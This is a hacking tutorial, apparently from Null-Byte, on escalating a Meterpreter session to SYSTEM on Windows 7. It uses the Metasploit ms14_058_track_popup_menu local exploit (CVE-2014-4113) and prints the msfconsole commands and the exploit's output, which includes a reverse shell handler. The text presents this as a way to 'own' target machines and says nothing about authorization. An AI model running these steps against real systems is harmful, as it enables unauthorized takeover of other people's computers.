Post-Exploitation Privilege Escalation

Hey everyone, I've been encountering some problems with privilege escalation when the target has an AV installed, so here's a tutorial for when the almighty "getsystem" doesn't cut it and "bypassuac" gets blocked by the AV. The machine is running Windows 7

Step 1

Get a Meterpreter Session Running on the Target Machine

As you can see on the picture above we don't have administrator rights over the system. Let's try using "getsystem" and attempt to own the PC.

If this happens, we need not lose hope, we can use a local exploit to still try and get admin rights. The exploit we'll use is "ms14_058_track_popup_menu", so background the session and select it as your exploit (its CVE is 2014-4113).

```
meterpreter > background
[*] Backgrounding session 6...
msf exploit(handler) > search cve:2014-4113

Matching Modules
================

   Name                                                Disclosure Date  Rank    Des
cription
   ----                                                ---------------  ----    ---
--------
   exploit/windows/local/ms14_058_track_popup_menu  2014-10-14       normal  Win
dows TrackPopupMenu Win32k NULL Pointer Dereference


msf exploit(handler) > use  exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) >
```

Attach a new image

Please choose the image you would like to attach.

Now we just need to set the options for the exploit. Set the session option to the session you just backgrounded and everything else should be all set. All we need to do now is type in "exploit" and wait to see what happens.

```
msf exploit(ms14_058_track_popup_menu) > exploit

[*] Started reverse handler on 192.168.1.3:4444
[*] Launching notepad to host the exploit...
[+] Process 2488 launched.
[*] Reflectively injecting the exploit DLL into 2488...
[*] Injecting exploit into 2488...
[*] Exploit injected. Injecting payload into 2488...
[*] Payload injected. Executing exploit...
[*] Sending stage (884270 bytes) to 192.168.1.3
[+] Exploit finished, wait for (hopefully privileged) payload execution to compl
ete.
[*] Meterpreter session 7 opened (192.168.1.3:4444 -> 192.168.1.3:45173) at 2015
-07-11 00:20:56 +0300

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

And voila! You now own the machine and can do whatever you want with it. Stay tuned to Null-Byte for more awesome tutorials on hacking!

EDIT: It's not always the antivirus that's causing the issues, but most of the time it's responsible for most of the difficulties one might encounter.